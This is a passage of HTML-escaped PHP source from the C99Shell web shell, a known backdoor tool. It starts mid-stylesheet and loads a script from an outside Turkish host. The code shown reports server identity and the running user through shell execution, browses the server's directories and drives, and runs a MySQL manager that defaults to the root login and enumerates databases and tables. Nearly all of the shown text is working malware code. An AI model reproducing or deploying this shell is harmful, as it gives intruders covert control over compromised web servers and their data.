#800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0&amp;gt;&amp;lt;center&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=&amp;quot;#C0C0C0&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th width=&amp;quot;101%&amp;quot; height=&amp;quot;15&amp;quot; nowrap bordercolor=&amp;quot;#C0C0C0&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;font face=Webdings size=6&amp;gt;&amp;lt;b&amp;gt;!&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Verdana&amp;quot; size=&amp;quot;5&amp;quot;&amp;gt;&amp;lt;b&amp;gt;C99Shell v. &amp;lt;?php echo $shver; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;font face=Webdings size=6&amp;gt;&amp;lt;b&amp;gt;!&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Software:&amp;amp;nbsp;&amp;lt;?php echo $DISP_SERVER_SOFTWARE; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;uname -a:&amp;amp;nbsp;&amp;lt;?php echo wordwrap(php_uname(),90,&amp;quot;&amp;lt;br&amp;gt;&amp;quot;,1); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;?php if (!$win) {echo wordwrap(myshellexec(&amp;quot;id&amp;quot;),90,&amp;quot;&amp;lt;br&amp;gt;&amp;quot;,1);} else {echo get_current_user();} ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Safe-mode:&amp;amp;nbsp;&amp;lt;?php echo $hsafemode; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
$d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
if (empty($d)) {$d = realpath(&amp;quot;.&amp;quot;);} elseif(realpath($d)) {$d = realpath($d);}&lt;br /&gt;
$d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
$d = str_replace(&amp;quot;\\\\&amp;quot;,&amp;quot;\\&amp;quot;,$d);&lt;br /&gt;
$dispd = htmlspecialchars($d);&lt;br /&gt;
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));&lt;br /&gt;
$i = 0;&lt;br /&gt;
foreach($pd as $b)&lt;br /&gt;
{&lt;br /&gt;
 $t = &amp;quot;&amp;quot;;&lt;br /&gt;
 reset($e);&lt;br /&gt;
 $j = 0;&lt;br /&gt;
 foreach ($e as $r)&lt;br /&gt;
 {&lt;br /&gt;
  $t.= $r.DIRECTORY_SEPARATOR;&lt;br /&gt;
  if ($j == $i) {break;}&lt;br /&gt;
  $j++;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.urlencode($t).&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($b).DIRECTORY_SEPARATOR.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
 $i++;&lt;br /&gt;
}&lt;br /&gt;
echo &amp;quot;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
if (is_writable($d))&lt;br /&gt;
{&lt;br /&gt;
 $wd = true;&lt;br /&gt;
 $wdt = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;[ ok ]&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;quot;.view_perms(fileperms($d)).&amp;quot;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 $wd = false;&lt;br /&gt;
 $wdt = &amp;quot;&amp;lt;font color=\&amp;quot;red\&amp;quot;&amp;gt;[ Read-Only ]&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($d).&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if (is_callable(&amp;quot;disk_free_space&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
 $free = disk_free_space($d);&lt;br /&gt;
 $total = disk_total_space($d);&lt;br /&gt;
 if ($free === false) {$free = 0;}&lt;br /&gt;
 if ($total === false) {$total = 0;}&lt;br /&gt;
 if ($free &amp;lt; 0) {$free = 0;}&lt;br /&gt;
 if ($total &amp;lt; 0) {$total = 0;}&lt;br /&gt;
 $used = $total-$free;&lt;br /&gt;
 $free_percent = round(100/($total/$free),2);&lt;br /&gt;
 echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Free &amp;quot;.view_size($free).&amp;quot; of &amp;quot;.view_size($total).&amp;quot; (&amp;quot;.$free_percent.&amp;quot;%)&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
$letters = &amp;quot;&amp;quot;;&lt;br /&gt;
if ($win)&lt;br /&gt;
{&lt;br /&gt;
 $v = explode(&amp;quot;\\&amp;quot;,$d);&lt;br /&gt;
 $v = $v[0];&lt;br /&gt;
 foreach (range(&amp;quot;a&amp;quot;,&amp;quot;z&amp;quot;) as $letter)&lt;br /&gt;
 {&lt;br /&gt;
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);&lt;br /&gt;
  if (!$bool) {$bool = is_dir($letter.&amp;quot;:\\&amp;quot;);}&lt;br /&gt;
  if ($bool)&lt;br /&gt;
  {&lt;br /&gt;
   $letters .= &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.$letter.&amp;quot;:\\\&amp;quot;&amp;quot;.($isdiskette?&amp;quot; onclick=\&amp;quot;return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\&amp;quot;&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;[ &amp;quot;;&lt;br /&gt;
   if ($letter.&amp;quot;:&amp;quot; != $v) {$letters .= $letter;}&lt;br /&gt;
   else {$letters .= &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;quot;.$letter.&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
   $letters .= &amp;quot; ]&amp;lt;/a&amp;gt; &amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($letters)) {echo &amp;quot;&amp;lt;b&amp;gt;Detected drives&amp;lt;/b&amp;gt;: &amp;quot;.$letters.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if (count($quicklaunch) &amp;gt; 0)&lt;br /&gt;
{&lt;br /&gt;
 foreach($quicklaunch as $item)&lt;br /&gt;
 {&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%d&amp;quot;,urlencode($d),$item[1]);&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%sort&amp;quot;,$sort,$item[1]);&lt;br /&gt;
  $v = realpath($d.&amp;quot;..&amp;quot;);&lt;br /&gt;
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%upd&amp;quot;,urlencode($v),$item[1]);&lt;br /&gt;
  echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php&lt;br /&gt;
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;?php echo $donated_html; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php }&lt;br /&gt;
?&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
if ($act == &amp;quot;&amp;quot;) {$act = $dspact = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
if ($act == &amp;quot;sql&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $sql_surl = $surl.&amp;quot;act=sql&amp;quot;;&lt;br /&gt;
 if ($sql_login)  {$sql_surl .= &amp;quot;&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login);}&lt;br /&gt;
 if ($sql_passwd) {$sql_surl .= &amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd);}&lt;br /&gt;
 if ($sql_server) {$sql_surl .= &amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server);}&lt;br /&gt;
 if ($sql_port)   {$sql_surl .= &amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port);}&lt;br /&gt;
 if ($sql_db)     {$sql_surl .= &amp;quot;&amp;amp;sql_db=&amp;quot;.htmlspecialchars($sql_db);}&lt;br /&gt;
 $sql_surl .= &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
 ?&amp;gt;&amp;lt;h3&amp;gt;Attention! SQL-Manager is &amp;lt;u&amp;gt;NOT&amp;lt;/u&amp;gt; ready module! Don't reports bugs.&amp;lt;/h3&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=&amp;quot;#C0C0C0&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot; colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;?php&lt;br /&gt;
 if ($sql_server)&lt;br /&gt;
 {&lt;br /&gt;
  $sql_sock = mysql_connect($sql_server.&amp;quot;:&amp;quot;.$sql_port, $sql_login, $sql_passwd);&lt;br /&gt;
  $err = mysql_smarterror();&lt;br /&gt;
  @mysql_select_db($sql_db,$sql_sock);&lt;br /&gt;
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}&lt;br /&gt;
 }&lt;br /&gt;
 else {$sql_sock = false;}&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;SQL Manager:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$sql_sock)&lt;br /&gt;
 {&lt;br /&gt;
  if (!$sql_server) {echo &amp;quot;NO CONNECTION&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't connect&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;; echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$err.&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $sqlquicklaunch = array();&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Index&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Query&amp;quot;,$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl));&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Server-status&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=serverstatus&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Server variables&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=servervars&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Processes&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=processes&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Logout&amp;quot;,$surl.&amp;quot;act=sql&amp;quot;);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;MySQL &amp;quot;.mysql_get_server_info().&amp;quot; (proto v.&amp;quot;.mysql_get_proto_info ().&amp;quot;) running in &amp;quot;.htmlspecialchars($sql_server).&amp;quot;:&amp;quot;.htmlspecialchars($sql_port).&amp;quot; as &amp;quot;.htmlspecialchars($sql_login).&amp;quot;@&amp;quot;.htmlspecialchars($sql_server).&amp;quot; (password - \&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  if (count($sqlquicklaunch) &amp;gt; 0) {foreach($sqlquicklaunch as $item) {echo &amp;quot;[ &amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ] &amp;quot;;}}&lt;br /&gt;
  echo &amp;quot;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$sql_sock) {?&amp;gt;&amp;lt;td width=&amp;quot;28%&amp;quot; height=&amp;quot;100&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;font size=&amp;quot;5&amp;quot;&amp;gt; i &amp;lt;/font&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;li&amp;gt;If login is null, login is owner of process.&amp;lt;li&amp;gt;If host is null, host is localhost&amp;lt;/b&amp;gt;&amp;lt;li&amp;gt;If port is null, port is 3306 (default)&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;90%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;TABLE height=1 cellSpacing=0 cellPadding=0 width=&amp;quot;100%&amp;quot; border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;Please, fill the form:&amp;lt;/b&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Username&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Password&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Database&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;form&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;root&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Host&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;PORT&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td align=right&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;localhost&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;3306&amp;quot; maxlength=&amp;quot;6&amp;quot; size=&amp;quot;3&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Connect&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;?php }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  //Start left panel&lt;br /&gt;
  if (!empty($sql_db))&lt;br /&gt;
  {&lt;br /&gt;
   ?&amp;gt;&amp;lt;td width=&amp;quot;25%&amp;quot; height=&amp;quot;100%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;&amp;quot;; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Home&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;?php&lt;br /&gt;
   $result = mysql_list_tables($sql_db);&lt;br /&gt;
   if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;---[ &amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;&amp;amp;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ]---&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $c = 0;&lt;br /&gt;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query (&amp;quot;SELECT COUNT(*) FROM &amp;quot;.$row[0]); $count_row = mysql_fetch_array($count); echo &amp;quot;&amp;lt;b&amp;gt;»&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_db=&amp;quot;.htmlspecialchars($sql_db).&amp;quot;&amp;amp;sql_tbl=&amp;quot;.htmlspecialchars($row[0]).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($row[0]).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; (&amp;quot;.$count_row[0].&amp;quot;)&amp;lt;/br&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;; mysql_free_result($count); $c++;}&lt;br /&gt;
    if (!$c) {echo &amp;quot;No tables found in database.&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   ?&amp;gt;&amp;lt;td width=&amp;quot;1&amp;quot; height=&amp;quot;100&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $sql_surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Home&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;?php&lt;br /&gt;
   $result = mysql_list_dbs($sql_sock);&lt;br /&gt;
   if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    ?&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;select name=&amp;quot;sql_db&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
    $c = 0;&lt;br /&gt;
    $dbs = &amp;quot;&amp;quot;;&lt;br /&gt;
    while ($row = mysql_fetch_row($result)) {$dbs .= &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$row[0].&amp;quot;\&amp;quot;&amp;quot;; if ($sql_db == $row[0]) {$dbs .= &amp;quot; selected&amp;quot;;} $dbs .= &amp;quot;&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;; $c++;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;Databases (&amp;quot;.$c.&amp;quot;)&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
    echo $dbs;&lt;br /&gt;
   }&lt;br /&gt;
   ?&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;Please, select database&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?php&lt;br /&gt;
  }&lt;br /&gt;
  //End left panel&lt;br /&gt;
  echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td width=\&amp;quot;100%\&amp;quot; height=\&amp;quot;1\&amp;quot; valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  //Start center panel&lt;br /&gt;
  $diplay = true;&lt;br /&gt;
  if ($sql_db)&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_numeric($c)) {$c = 0;}&lt;br /&gt;
   if ($c == 0) {$c = &amp;quot;no&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;There are &amp;quot;.$c.&amp;quot; table(s) in this DB (&amp;quot;.htmlspecialchars($sql_db).&amp;quot;).&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   if (count($dbquicklaunch) &amp;gt; 0) {foreach($dbsqlquicklaunch as $item) {echo &amp;quot;[ &amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/a&amp;gt; ] &amp;quot;;}}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
   $acts = array(&amp;quot;&amp;quot;,&amp;quot;dump&amp;quot;);&lt;br /&gt;
